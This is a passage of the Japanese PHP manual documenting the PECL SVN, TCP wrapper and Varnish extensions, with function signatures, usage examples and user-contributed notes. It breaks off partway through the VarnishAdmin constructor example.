この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 svn_log() の例

<?php
print_r( svn_log('http://www.example.com/', 23) );
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
    (
        [rev] => 23
        [author] => 'joe'
        [msg] => 'チーズとサラミをサンドイッチに追加した。'
        [date] => '2007-04-06T16:00:27-04:00'
        [paths] => Array
            (
                [0] => Array
                    (
                        [action] => 'M'
                        [path] =>  '/sandwich.txt'
                    )
            )
    )
)

参考

  • » SVN ドキュメントの svn log

User Contributed Notes

php dot net at gnur dot nl 09-Jun-2011 02:42
Please not that using svn_log without giving revisions is much, much slower then with revisions. Examples:

$ time php -r "svn_log('http://localhost/svn/shopadsl');"

real    0m2.140s
user    0m0.140s
sys     0m0.000s

VS

$ time php -r "svn_log('http://localhost/svn/shopadsl', 0, 45);"

real    0m0.063s
user    0m0.024s
sys     0m0.016s


Returns list of directory contents in repository URL, optionally at revision number

  • ≪ svn_log
  • svn_mkdir ≫
  • PHP Manual
  • SVN 関数
  • Returns list of directory contents in repository URL, optionally at revision number

svn_ls

(PECL svn >= 0.1.0)

svn_ls — Returns list of directory contents in repository URL, optionally at revision number

説明

svn_ls ( string $repos_url , int $revision_no = SVN_REVISION_HEAD , bool $recurse = false , bool $peg = false ) : array

This function queries the repository URL and returns a list of files and directories, optionally from a specific revision. This is equivalent to svn list $repos_url[@$revision_no]

注意:

This function does not work with working copies. repos_url must be a repository URL.

パラメータ

url

URL of the repository, eg. http://www.example.com/svnroot. To access a local Subversion repository via filesystem, use the file URI scheme, eg. file:///home/user/svn-repos

revision

Integer revision number to retrieve listing of. When omitted, the HEAD revision is used.

recurse

Enables recursion.

返り値

On success, this function returns an array file listing in the format of:

[0] => Array
    (
        [created_rev] => integer revision number of last edit
        [last_author] => string author name of last edit
        [size] => integer byte file size of file
        [time] => string date of last edit in form 'M d H:i'
                  or 'M d Y', depending on how old the file is
        [time_t] => integer unix timestamp of last edit
        [name] => name of file/directory
        [type] => type, can be 'file' or 'dir'
    )
[1] => ...

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 svn_ls() example

<?php
print_r( svn_ls('http://www.example.com/svnroot/') );
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [created_rev] => 20
            [last_author] => Joe
            [size] => 0
            [time] => Apr 02 09:28
            [time_t] => 1175520529
            [name] => tags
            [type] => dir
        )
    [1] => Array
        (
            [created_rev] => 23
            [last_author] => Bob
            [size] => 0
            [time] => Apr 02 15:15
            [time_t] => 1175541322
            [name] => trunk
            [type] => dir
        )
)

参考

  • » SVN documentation on svn list

User Contributed Notes

php thereatthe bluedream dotty tv 11-May-2012 11:31
Be aware that the function will condition the path for you; do not do it yourself or you will have resulting errors.

Ex: that paths with spaces in them do NOT need the escaping slash
<?php
svn_ls('file:///var/svn/myrepo/dirA/another dir'); //will work->happiness
svn_ls('file:///var/svn/myrepo/dirA/another\ dir'); //will fail
?>
Warning: svn_ls(): svn error(s) occured 160013 (Filesystem has no item) URL 'file:///var/svn/myrepo/dirA/another\ dir' non-existent in that revision in file.php on line 42


作業コピーあるいはリポジトリ内にディレクトリを作成する

  • ≪ svn_ls
  • svn_repos_create ≫
  • PHP Manual
  • SVN 関数
  • 作業コピーあるいはリポジトリ内にディレクトリを作成する

svn_mkdir

(PECL svn >= 0.4.0)

svn_mkdir — 作業コピーあるいはリポジトリ内にディレクトリを作成する

説明

svn_mkdir ( string $path , string $log_message = ? ) : bool

作業コピーあるいはリポジトリ内にディレクトリを作成します。

パラメータ

path

作業コピーあるいはリポジトリへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_copy()

User Contributed Notes

ckozler at ckozler dot net 14-Feb-2012 05:25
I would just like to note that there is either an error in the documentation or a bug in the code. When you run svn_mkdir it returns FALSE even on success. As an example you can do

<?php

var_dump( svn_mkdir( "/path/to/your/repo/mydir" ) );

?>

And youll see that the output is

bool(false)


新しい subversion リポジトリを指定したパスに作成する

  • ≪ svn_mkdir
  • svn_repos_fs_begin_txn_for_commit ≫
  • PHP Manual
  • SVN 関数
  • 新しい subversion リポジトリを指定したパスに作成する

svn_repos_create

(PECL svn >= 0.1.0)

svn_repos_create — 新しい subversion リポジトリを指定したパスに作成する

説明

svn_repos_create ( string $path , array $config = ? , array $fsconfig = ? ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

新しい subversion リポジトリを指定したパスに作成します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


新しいトランザクションを作成する

  • ≪ svn_repos_create
  • svn_repos_fs_commit_txn ≫
  • PHP Manual
  • SVN 関数
  • 新しいトランザクションを作成する

svn_repos_fs_begin_txn_for_commit

(PECL svn >= 0.2.0)

svn_repos_fs_begin_txn_for_commit — 新しいトランザクションを作成する

説明

svn_repos_fs_begin_txn_for_commit ( resource $repos , int $rev , string $author , string $log_msg ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

新しいトランザクションを作成します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをコミットし、新しいリビジョンを返す

  • ≪ svn_repos_fs_begin_txn_for_commit
  • svn_repos_fs ≫
  • PHP Manual
  • SVN 関数
  • トランザクションをコミットし、新しいリビジョンを返す

svn_repos_fs_commit_txn

(PECL svn >= 0.2.0)

svn_repos_fs_commit_txn — トランザクションをコミットし、新しいリビジョンを返す

説明

svn_repos_fs_commit_txn ( resource $txn ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

トランザクションをコミットし、新しいリビジョンを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リポジトリ用に、ファイルシステム上のハンドルを取得する

  • ≪ svn_repos_fs_commit_txn
  • svn_repos_hotcopy ≫
  • PHP Manual
  • SVN 関数
  • リポジトリ用に、ファイルシステム上のハンドルを取得する

svn_repos_fs

(PECL svn >= 0.1.0)

svn_repos_fs — リポジトリ用に、ファイルシステム上のハンドルを取得する

説明

svn_repos_fs ( resource $repos ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

リポジトリ用に、ファイルシステム上のハンドルを取得します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


repospath にあるリポジトリのホットコピーを作成し、destpath にコピーする

  • ≪ svn_repos_fs
  • svn_repos_open ≫
  • PHP Manual
  • SVN 関数
  • repospath にあるリポジトリのホットコピーを作成し、destpath にコピーする

svn_repos_hotcopy

(PECL svn >= 0.1.0)

svn_repos_hotcopy — repospath にあるリポジトリのホットコピーを作成し、destpath にコピーする

説明

svn_repos_hotcopy ( string $repospath , string $destpath , bool $cleanlogs ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

repospath にあるリポジトリのホットコピーを作成し、destpath にコピーします。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


Open a shared lock on a repository

  • ≪ svn_repos_hotcopy
  • svn_repos_recover ≫
  • PHP Manual
  • SVN 関数
  • Open a shared lock on a repository

svn_repos_open

(PECL svn >= 0.1.0)

svn_repos_open — Open a shared lock on a repository

説明

svn_repos_open ( string $path ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

Open a shared lock on a repository.

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


Run recovery procedures on the repository located at path

  • ≪ svn_repos_open
  • svn_revert ≫
  • PHP Manual
  • SVN 関数
  • Run recovery procedures on the repository located at path

svn_repos_recover

(PECL svn >= 0.1.0)

svn_repos_recover — Run recovery procedures on the repository located at path

説明

svn_repos_recover ( string $path ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

Run recovery procedures on the repository located at path.

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


Revert changes to the working copy

  • ≪ svn_repos_recover
  • svn_status ≫
  • PHP Manual
  • SVN 関数
  • Revert changes to the working copy

svn_revert

(PECL svn >= 0.3.0)

svn_revert — Revert changes to the working copy

説明

svn_revert ( string $path , bool $recursive = false ) : bool

Revert any local changes to the path in a working copy.

パラメータ

path

The path to the working repository.

recursive

Optionally make recursive changes.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • svn_delete() - Delete items from a working copy or repository
  • svn_export() - Export the contents of a SVN directory

User Contributed Notes

There are no user contributed notes for this page.


Returns the status of working copy files and directories

  • ≪ svn_revert
  • svn_update ≫
  • PHP Manual
  • SVN 関数
  • Returns the status of working copy files and directories

svn_status

(PECL svn >= 0.1.0)

svn_status — Returns the status of working copy files and directories

説明

svn_status ( string $path , int $flags = 0 ) : array

Returns the status of working copy files and directories, giving modifications, additions, deletions and other changes to items in the working copy.

パラメータ

path

Local path to file or directory to retrieve status of.

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

flags

Any combination of Svn::NON_RECURSIVE, Svn::ALL (regardless of modification status), Svn::SHOW_UPDATES (entries will be added for items that are out-of-date), Svn::NO_IGNORE (disregard svn:ignore properties when scanning for new files) and Svn::IGNORE_EXTERNALS.

返り値

Returns a numerically indexed array of associative arrays detailing the status of items in the repository:

Array (
    [0] => Array (
        // information on item
    )
    [1] => ...
)

The information on the item is an associative array that can contain the following keys:

path
String path to file/directory of this entry on local filesystem.
text_status
Status of item's text. とりうる値については 状態に関する定数 を参照ください。
repos_text_status
Status of item's text in repository. Only accurate if update was set to true. とりうる値については 状態に関する定数 を参照ください。
prop_status
Status of item's properties. とりうる値については 状態に関する定数 を参照ください。
repos_prop_status
Status of item's property in repository. Only accurate if update was set to true. とりうる値については 状態に関する定数 を参照ください。
locked
Whether or not the item is locked. (Only set if true.)
copied
Whether or not the item was copied (scheduled for addition with history). (Only set if true.)
switched
Whether or not the item was switched using the switch command. (Only set if true)

These keys are only set if the item is versioned:

name
Base name of item in repository.
url
URL of item in repository.
repos
Base URL of repository.
revision
Integer revision of item in working copy.
kind
Type of item, i.e. file or directory. とりうる値については 型に関する定数 を参照ください。
schedule
Scheduled action for item, i.e. addition or deletion. Constants for these magic numbers are not available, they can be emulated by using:
<?php
if (!defined('svn_wc_schedule_normal')) {
    define('svn_wc_schedule_normal',  0); // nothing special
    define('svn_wc_schedule_add',     1); // item will be added
    define('svn_wc_schedule_delete',  2); // item will be deleted
    define('svn_wc_schedule_replace', 3); // item will be added and deleted
}
?>
deleted
Whether or not the item was deleted, but parent revision lags behind. (Only set if true.)
absent
Whether or not the item is absent, that is, Subversion knows that there should be something there but there isn't. (Only set if true.)
incomplete
Whether or not the entries file for a directory is incomplete. (Only set if true.)
cmt_date
Integer Unix timestamp of last commit date. (Unaffected by update.)
cmt_rev
Integer revision of last commit. (Unaffected by update.)
cmt_author
String author of last commit. (Unaffected by update.)
prop_time
Integer Unix timestamp of last up-to-date time for properties
text_time
Integer Unix timestamp of last up-to-date time for text

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 Basic example

This example demonstrates a basic, theoretical usage of this function.

<?php
print_r(svn_status(realpath('wc')));
?>

上の例の出力は、 たとえば以下のようになります。

Array (
    [0] => Array (
        [path] => /home/bob/wc/sandwich.txt
        [text_status] => 8 // item was modified
        [repos_text_status] => 1 // no information available, use update
        [prop_status] => 3 // no changes
        [repos_prop_status] => 1 // no information available, use update
        [name] => sandwich.txt
        [url] => http://www.example.com/svnroot/deli/trunk/sandwich.txt
        [repos] => http://www.example.com/svnroot/
        [revision] => 123
        [kind] => 1 // file
        [schedule] => 0 // no special actions scheduled
        [cmt_date] => 1165543135
        [cmt_rev] => 120
        [cmt_author] => Alice
        [prop_time] => 1180201728
        [text_time] => 1180201729
    )
)

参考

  • svn_update() - Update working copy
  • svn_log() - 指定したリポジトリ URL のコミットログメッセージを返す
  • » SVN documentation for svn status

User Contributed Notes

matthijs at fragfrog dot nl 20-Jul-2011 01:03
There seems to be an undocumented function svn_info (arguably the proper name for this functionality) that does almost the same as svn_status, but ignores the second parameter.

Unfortunately, neither can directly be used to just retrieve the current revision of a working copy, but a combination of svn_status and SVN_NON_RECURSIVE|SVN_ALL will work; simply perform the following command:

<?php
svn_status(ROOT,  SVN_NON_RECURSIVE|SVN_ALL);
?>

Where ROOT is of course the root of the working directory you wish to examine. One of the entries will be that working directory, including its current status.


Update working copy

  • ≪ svn_status
  • TCP ≫
  • PHP Manual
  • SVN 関数
  • Update working copy

svn_update

(PECL svn >= 0.1.0)

svn_update — Update working copy

説明

svn_update ( string $path , int $revno = SVN_REVISION_HEAD , bool $recurse = true ) : int

Update working copy at path to revision revno. If recurse is true, directories will be recursively updated.

パラメータ

path

Path to local working copy.

注意: 相対パスは、PHP バイナリが存在するディレクトリを基準として解決されます。呼び出しもとのスクリプトの作業ディレクトリを基準とするには、realpath() あるいは dirname(__FILE__) を使用してください。

revno

Revision number to update to, default is SVN_REVISION_HEAD.

recurse

Whether or not to recursively update directories.

返り値

Returns new revision number on success, returns false on failure.

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

例

例1 Basic example

This example demonstrates basic usage of this function:

<?php
echo svn_update(realpath('working-copy'));
?>

上の例の出力は、 たとえば以下のようになります。

234

参考

  • svn_checkout() - リポジトリから作業コピーをチェックアウトする
  • svn_commit() - Sends changes from the local working copy to the repository
  • » SVN documentation for svn update

User Contributed Notes

There are no user contributed notes for this page.


TCP ラッパー

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • TCP 関数
    • tcpwrap_check — tcpwrap のチェックを実行する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

TCP ラッパーは、古典的な Unix のメカニズムを提供します。 これはリモートクライアントが指定した IP アドレスから接続できるかどうかを 調べるように設計されています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/tcpwrap.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


TCP 関数

目次

  • tcpwrap_check — tcpwrap のチェックを実行する

User Contributed Notes

There are no user contributed notes for this page.


tcpwrap のチェックを実行する

  • ≪ TCP 関数
  • Varnish ≫
  • PHP Manual
  • TCP 関数
  • tcpwrap のチェックを実行する

tcpwrap_check

(PECL tcpwrap >= 0.1.0)

tcpwrap_check — tcpwrap のチェックを実行する

説明

tcpwrap_check ( string $daemon , string $address , string $user = ? , bool $nodns = false ) : bool

この関数は /etc/hosts.allow および /etc/hosts.deny の内容をもとに、あるクライアントが daemon サービスへのアクセスを許可されているか 否かを調べます。

パラメータ

daemon

サービスの名前。

address

クライアントのリモートアドレス。IP アドレスあるいはドメイン名の どちらでも指定可能。

user

ユーザー名（オプション）。

nodns

address がドメイン名の場合、それを IP アドレスに名前解決するために DNS が使用されます。 nodns を true に指定すると、この処理を 禁止します。

返り値

アクセスが許可されている場合に true 、それ以外の場合に false を返します。

例

例1 ローカルホストからの全接続を拒否する

/etc/hosts.deny ファイルに以下の行が含まれており、

php: 127.0.0.1

以下のようなコードを実行する

<?php
if (!tcpwrap_check('php', $_SERVER['REMOTE_ADDR'])) {
  die('You are not welcome here');
}
?>

参考

詳細な情報は、hosts_access(3) の man ページを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


Varnish

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な VarnishAdmin の使用法
    • 基本的な VarnishStat の使用法
    • 基本的な VarnishLog の使用法
  • VarnishAdmin — VarnishAdmin クラス
    • VarnishAdmin::auth — varnish インスタンス上で認証する
    • VarnishAdmin::ban — VCL の式を使って URL を禁止する
    • VarnishAdmin::banUrl — VCL の式を使って URL を禁止する
    • VarnishAdmin::clearPanic — varnish インスタンスのパニックメッセージをクリアする
    • VarnishAdmin::connect — varnish インスタンスの管理インターフェイスに接続する
    • VarnishAdmin::__construct — VarnishAdmin のコンストラクタ
    • VarnishAdmin::disconnect — varnish インスタンスの管理インターフェイスとの接続を切断する
    • VarnishAdmin::getPanic — varnish インスタンスの直近のパニックメッセージを取得する
    • VarnishAdmin::getParams — 現在の varnish インスタンスの設定パラメータを取得する
    • VarnishAdmin::isRunning — varnish のスレーブプロセスが現在実行中かどうかを調べる
    • VarnishAdmin::setCompat — クラスのオプション compat を設定する
    • VarnishAdmin::setHost — クラスのオプション host を設定する
    • VarnishAdmin::setIdent — クラスのオプション ident を設定する
    • VarnishAdmin::setParam — 現在の varnish インスタンスの構成パラメータを設定する
    • VarnishAdmin::setPort — クラスのオプション port を設定する
    • VarnishAdmin::setSecret — クラスのオプション secret を設定する
    • VarnishAdmin::setTimeout — クラスのオプション timeout を設定する
    • VarnishAdmin::start — varnish ワーカープロセスを開始する
    • VarnishAdmin::stop — varnish ワーカープロセスを停止する
  • VarnishStat — VarnishStat クラス
    • VarnishStat::__construct — VarnishStat のコンストラクタ
    • VarnishStat::getSnapshot — 現在の varnish インスタンスの統計スナップショットを取得する
  • VarnishLog — VarnishLog クラス
    • VarnishLog::__construct — Varnishlog のコンストラクタ
    • VarnishLog::getLine — ログの次の行を取得する
    • VarnishLog::getTagName — ログのタグ文字列を、インデックスから取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Varnish Cache は、オープンソースな最先端のウェブアプリケーションアクセラレーターです。 この拡張モジュールを使えば、実行中の varnish インスタンスとのやりとりを TCP ソケット経由あるいは共有メモリ経由でできます。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールを使うには、 バージョン 3.0 以降の Varnish Cache をインストールして使えるようにしておく必要があります。 これは、» Varnish キャッシュのホームページ で取得できます。

User Contributed Notes

info at getpagespeed dot com 31-May-2019 08:17
It works fine with Varnish 4, open source version. Varnish Plus is not required.
redactedprofile at gmail dot com 06-Aug-2015 06:41
Thank you Adrian Hernandez http://php.net/manual/en/varnish.requirements.php#115883

Yes this manual should be updated to make note of this.

may I ask simply why this requires Plus? I just lost hours implementing this only to see the extension refuses to load on my prod server :\
Adrian Hernandez-Lopez 08-Oct-2014 10:51
It should be mention that Varnish PLUS is required.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/varnish.

このモジュールの DLL は、» http://windows.php.net/downloads/pecl/releases/varnish/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

VARNISH_STATUS_SYNTAX (int)
VARNISH_STATUS_UNKNOWN (int)
VARNISH_STATUS_UNIMPL (int)
VARNISH_STATUS_TOOFEW (int)
VARNISH_STATUS_TOOMANY (int)
VARNISH_STATUS_PARAM (int)
VARNISH_STATUS_AUTH (int)
VARNISH_STATUS_OK (int)
VARNISH_STATUS_CANT (int)
VARNISH_STATUS_COMMS (int)
VARNISH_STATUS_CLOSE (int)
VARNISH_CONFIG_IDENT (string)
VARNISH_CONFIG_HOST (string)
VARNISH_CONFIG_PORT (string)
VARNISH_CONFIG_TIMEOUT (string)
VARNISH_CONFIG_SECRET (string)
VARNISH_CONFIG_COMPAT (string)
VARNISH_COMPAT_2 (int)
VARNISH_COMPAT_3 (int)

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な VarnishAdmin の使用法
  • 基本的な VarnishStat の使用法
  • 基本的な VarnishLog の使用法

User Contributed Notes

There are no user contributed notes for this page.


基本的な VarnishAdmin の使用法

禁止機能の簡単な使用法を示します。

例1 URL を禁止する

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "::1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/$"');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

User Contributed Notes

sarfraz dot qasim at gmail dot com 03-Sep-2012 08:57
This code worked for me with couple of changes after installing PECL.

Here is the updated code.

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "127.0.0.1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/."');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

Hope this helps.


基本的な VarnishStat の使用法

共用メモリから、varnish 統計のスナップショットを取得する例を示します。

例1 統計のスナップショットをを取得する

<?php

$vs = new VarnishStat;

try {
    $data = $vs->getSnapshot();
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


基本的な VarnishLog の使用法

共用メモリから、varnish のログを読み取る例を示します。

例1 varnish の共用メモリログを読み取る

<?php

$vl = new VarnishLog;
while(1) {
    $line = $vl->getLine();
    printf("%s %d %s", VarnishLog::getTagName($line['tag'], $line['id'],
    $line['data']);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.


VarnishAdmin クラス

(PECL varnish >= 0.3)

はじめに

クラス概要

VarnishAdmin {
/* メソッド */
public auth ( ) : bool
public ban ( string $vcl_regex ) : int
public banUrl ( string $vcl_regex ) : int
public clearPanic ( ) : int
public connect ( ) : bool
public __construct ( array $args = ? )
public disconnect ( ) : bool
public getPanic ( ) : string
public getParams ( ) : array
public isRunning ( ) : bool
public setCompat ( int $compat ) : void
public setHost ( string $host ) : void
public setIdent ( string $ident ) : void
public setParam ( string $name , string|int $value ) : int
public setPort ( int $port ) : void
public setSecret ( string $secret ) : void
public setTimeout ( int $timeout ) : void
public start ( ) : int
public stop ( ) : int
}

目次

  • VarnishAdmin::auth — varnish インスタンス上で認証する
  • VarnishAdmin::ban — VCL の式を使って URL を禁止する
  • VarnishAdmin::banUrl — VCL の式を使って URL を禁止する
  • VarnishAdmin::clearPanic — varnish インスタンスのパニックメッセージをクリアする
  • VarnishAdmin::connect — varnish インスタンスの管理インターフェイスに接続する
  • VarnishAdmin::__construct — VarnishAdmin のコンストラクタ
  • VarnishAdmin::disconnect — varnish インスタンスの管理インターフェイスとの接続を切断する
  • VarnishAdmin::getPanic — varnish インスタンスの直近のパニックメッセージを取得する
  • VarnishAdmin::getParams — 現在の varnish インスタンスの設定パラメータを取得する
  • VarnishAdmin::isRunning — varnish のスレーブプロセスが現在実行中かどうかを調べる
  • VarnishAdmin::setCompat — クラスのオプション compat を設定する
  • VarnishAdmin::setHost — クラスのオプション host を設定する
  • VarnishAdmin::setIdent — クラスのオプション ident を設定する
  • VarnishAdmin::setParam — 現在の varnish インスタンスの構成パラメータを設定する
  • VarnishAdmin::setPort — クラスのオプション port を設定する
  • VarnishAdmin::setSecret — クラスのオプション secret を設定する
  • VarnishAdmin::setTimeout — クラスのオプション timeout を設定する
  • VarnishAdmin::start — varnish ワーカープロセスを開始する
  • VarnishAdmin::stop — varnish ワーカープロセスを停止する

User Contributed Notes

There are no user contributed notes for this page.


varnish インスタンス上で認証する

  • ≪ VarnishAdmin
  • VarnishAdmin::ban ≫
  • PHP Manual
  • VarnishAdmin
  • varnish インスタンス上で認証する

VarnishAdmin::auth

(PECL varnish >= 0.3)

VarnishAdmin::auth — varnish インスタンス上で認証する

説明

public VarnishAdmin::auth ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


VCL の式を使って URL を禁止する

  • ≪ VarnishAdmin::auth
  • VarnishAdmin::banUrl ≫
  • PHP Manual
  • VarnishAdmin
  • VCL の式を使って URL を禁止する

VarnishAdmin::ban

(PECL varnish >= 0.3)

VarnishAdmin::ban — VCL の式を使って URL を禁止する

説明

public VarnishAdmin::ban ( string $vcl_regex ) : int

パラメータ

vcl_regex

Varnish VCL の式。varnish の ban コマンドに基づくもの。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


VCL の式を使って URL を禁止する

  • ≪ VarnishAdmin::ban
  • VarnishAdmin::clearPanic ≫
  • PHP Manual
  • VarnishAdmin
  • VCL の式を使って URL を禁止する

VarnishAdmin::banUrl

(PECL varnish >= 0.3)

VarnishAdmin::banUrl — VCL の式を使って URL を禁止する

説明

public VarnishAdmin::banUrl ( string $vcl_regex ) : int

パラメータ

vcl_regex

PCRE 互換形式で指定した、URL の正規表現。 varnish の ban.url コマンドに基づくもの。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


varnish インスタンスのパニックメッセージをクリアする

  • ≪ VarnishAdmin::banUrl
  • VarnishAdmin::connect ≫
  • PHP Manual
  • VarnishAdmin
  • varnish インスタンスのパニックメッセージをクリアする

VarnishAdmin::clearPanic

(PECL varnish >= 0.4)

VarnishAdmin::clearPanic — varnish インスタンスのパニックメッセージをクリアする

説明

public VarnishAdmin::clearPanic ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

varnish のコマンドステータスを返します。

User Contributed Notes

There are no user contributed notes for this page.


varnish インスタンスの管理インターフェイスに接続する

  • ≪ VarnishAdmin::clearPanic
  • VarnishAdmin::__construct ≫
  • PHP Manual
  • VarnishAdmin
  • varnish インスタンスの管理インターフェイスに接続する

VarnishAdmin::connect

(PECL varnish >= 0.3)

VarnishAdmin::connect — varnish インスタンスの管理インターフェイスに接続する

説明

public VarnishAdmin::connect ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


VarnishAdmin のコンストラクタ

  • ≪ VarnishAdmin::connect
  • VarnishAdmin::disconnect ≫
  • PHP Manual
  • VarnishAdmin
  • VarnishAdmin のコンストラクタ

VarnishAdmin::__construct

(PECL varnish >= 0.3)

VarnishAdmin::__construct — VarnishAdmin のコンストラクタ

説明

public VarnishAdmin::__construct ( array $args = ? )

パラメータ

args

設定用の引数。次のキーが使えます。

VARNISH_CONFIG_IDENT - ローカル varnish インスタンスの ident パス。
VARNISH_CONFIG_HOST - varnish インスタンスの IP アドレス。
VARNISH_CONFIG_PORT - varnish インスタンスのポート。
VARNISH_CONFIG_SECRET - varnish インスタンスの secret。
VARNISH_CONFIG_TIMEOUT - 接続の読み取りタイムアウト。
VARNISH_CONFIG_COMPAT - varnish メジャーバージョンの互換性。

返り値

例

例1 VarnishAdmin::__construct() の例

<?php
    $args = array(
        VARNISH_CONFIG_HOST => "::1",
        VARNISH_CONFIG_PORT => 6082,
